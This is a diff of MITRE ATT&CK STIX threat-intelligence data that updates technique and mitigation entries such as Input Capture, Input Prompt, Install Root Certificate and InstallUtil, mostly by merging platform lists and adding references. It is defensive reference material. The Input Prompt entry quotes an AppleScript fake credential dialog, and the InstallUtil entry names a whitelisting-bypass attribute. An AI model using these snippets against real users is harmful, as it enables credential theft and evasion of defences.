+                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview"
+                },
+                {
+                    "source_name": "Engame Process Injection July 2017",
+                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+                },
+                {
+                    "source_name": "FSecure Hupigon",
+                    "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.",
+                    "url": "https://www.f-secure.com/v-descs/backdoor%20w32%20hupigon%20emv.shtml"
+                },
+                {
+                    "source_name": "Symantec Ushedix June 2008",
+                    "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.",
+                    "url": "https://www.symantec.com/security%20response/writeup.jsp?docid=2008-062807-2501-99&tabid=2"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_data_sources": [
+                "Process Monitoring",
+                "Windows Registry",
+                "Windows event logs"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
             ]
         },
         {
@@ -6144,9 +6307,9 @@
             "id": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:47.384Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Indicator Blocking",
-            "description": "An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.\n\nDetection: Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Sensor health and status, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
+            "description": "An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.\n\nDetection: Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.\n\nPlatforms: Windows\n\nData Sources: Sensor health and status, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -6174,26 +6337,15 @@
                 "Host intrusion prevention systems"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--4b998a71-7b8f-4dcc-8f3f-277f2e740271",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Indicator Removal from Tools Mitigation",
             "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.\n\nIdentify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -6234,9 +6386,9 @@
             "id": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:54.176Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Indicator Removal from Tools",
-            "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.\n\nDetection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process use of network, Anti-virus, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
+            "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.\n\nDetection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process use of network, Anti-virus, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -6266,29 +6418,17 @@
                 "Host intrusion prevention systems"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--6cac62ce-550b-4793-8ee6-6a1b8836edb0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Indicator Removal on Host Mitigation",
             "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.",
             "external_references": [
@@ -6304,9 +6444,9 @@
             "id": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:55.892Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Indicator Removal on Host",
-            "description": "Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\nDetection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
+            "description": "Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\nDetection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -6334,29 +6474,17 @@
                 "Host intrusion prevention systems"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--da8a87d2-946d-4c34-9a30-709058b98996",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Input Capture Mitigation",
             "description": "Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIn cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of Valid Accounts.",
             "external_references": [
@@ -6397,9 +6525,9 @@
             "id": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:48.323Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Input Capture",
-            "description": "Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Collection that include keylogging and user input field interception.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)\n\nKeylogging is likely to be used to acquire credentials for new access opportunities when Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.\n\nAdversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)\n\nDetection: Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsynceyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.\n\nMonitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
+            "description": "Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Collection that include keylogging and user input field interception.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)\n\nKeylogging is likely to be used to acquire credentials for new access opportunities when Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.\n\nAdversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)\n\nDetection: Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsynceyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.\n\nMonitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -6443,34 +6571,22 @@
                 "Process monitoring",
                 "API monitoring"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
-            ],
             "x_mitre_permissions_required": [
                 "Administrator",
                 "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Input Prompt Mitigation",
             "description": "Users need to be trained to know which programs ask for permission and why. Follow mitigation recommendations for AppleScript.",
             "external_references": [
@@ -6486,9 +6602,9 @@
             "id": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Input Prompt",
-            "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:\n\n<code>set thePassword to the text returned of (display dialog \"AdobeUpdater needs permission to check for updates. Please authenticate.\" default answer \"\")</code>\n (Citation: OSX Keydnap malware)\n\nAdversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper)\n\nDetection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.\n\nPlatforms: MacOS, OS X\n\nData Sources: User interface, Process Monitoring\n\nPermissions Required: User",
+            "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:\n\n<code>set thePassword to the text returned of (display dialog \"AdobeUpdater needs permission to check for updates. Please authenticate.\" default answer \"\")</code>\n (Citation: OSX Keydnap malware)\n\nAdversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper)\n\nDetection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.\n\nPlatforms: macOS\n\nData Sources: User interface, Process Monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -6519,20 +6635,19 @@
                 "User interface",
                 "Process Monitoring"
             ],
+            "x_mitre_platforms": [
+                "macOS"
+            ],
             "x_mitre_permissions_required": [
                 "User"
-            ],
-            "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--23061b40-a7b6-454f-8950-95d5ff80331c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Install Root Certificate Mitigation",
             "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)",
             "external_references": [
@@ -6553,9 +6668,9 @@
             "id": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:42.750Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Install Root Certificate",
-            "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nDetection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: SSL/TLS inspection, Digital Certificate Logs\n\nDefense Bypassed: Digital Certificate Validation\n\nPermissions Required: Administrator\n\nContributors: Itzik Kotler, SafeBreach",
+            "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nDetection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present.\n\nInstalled root certificates are located in the Registry: <code>HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\ROOT\\Certificates</code>. There is a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n*18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n*245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n*3B1EFD3A66EA28B16697394703A72CA340A05BD5\n*7F88CD7223F3C813818C994614A89C99FA3B5247\n*8F43288AD272F3103B6FB1428485EA3014C0BCFE\n*A43489159A520F0D93D032CCAF37E7FE20A8B419\n*BE36A4562FB2EE05DBB3D32323ADF445084ED656\n*CDD4EEAE6000AC7F40C3802C171E30148030C072\n\nPlatforms: Linux, Windows\n\nData Sources: SSL/TLS inspection, Digital Certificate Logs\n\nDefense Bypassed: Digital Certificate Validation\n\nPermissions Required: Administrator\n\nContributors: Itzik Kotler, SafeBreach, Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -6581,33 +6696,28 @@
                 {
                     "source_name": "Kaspersky Superfish",
                     "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.",
-                    "url": "https://usblog.kaspersky.com/superfish-adware-preinstalled-on-lenovo-laptops/5161/"
+                    "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/"
+                },
+                {
+                    "source_name": "Tripwire AppUNBlocker",
+                    "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.",
+                    "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Itzik Kotler, SafeBreach"
+                "Itzik Kotler, SafeBreach",
+                "Travis Smith, Tripwire"
             ],
             "x_mitre_data_sources": [
                 "SSL/TLS inspection",
                 "Digital Certificate Logs"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_defense_bypassed": [
                 "Digital Certificate Validation"
@@ -6620,8 +6730,8 @@
             "type": "course-of-action",
             "id": "course-of-action--ec418d1b-4963-439f-b055-f914737ef362",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "InstallUtil Mitigation",
             "description": "InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
             "external_references": [
@@ -6637,9 +6747,9 @@
             "id": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:27.510Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "InstallUtil",
-            "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directory on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code>.InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Casey Smith",
+            "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Casey Smith, Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -6670,40 +6780,30 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Casey Smith"
+                "Casey Smith",
+                "Travis Smith, Tripwire"
             ],
             "x_mitre_data_sources": [
                 "Process monitoring",
                 "Process command-line parameters"
             ],
-            "x_mitre_permissions_required": [
-                "User"
-            ],
             "x_mitre_defense_bypassed": [
                 "Process whitelisting"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+            "x_mitre_permissions_required": [
+                "User"
             ],
-            "x_mitre_remote_support": false
+            "x_mitre_remote_support": false,
+            "x_mitre_platforms": [
+                "Windows"
+            ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--56648de3-8947-4559-90c4-eda10acc0f5a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Keychain Mitigation",
             "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.",
             "external_references": [
@@ -6719,9 +6819,9 @@
             "id": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
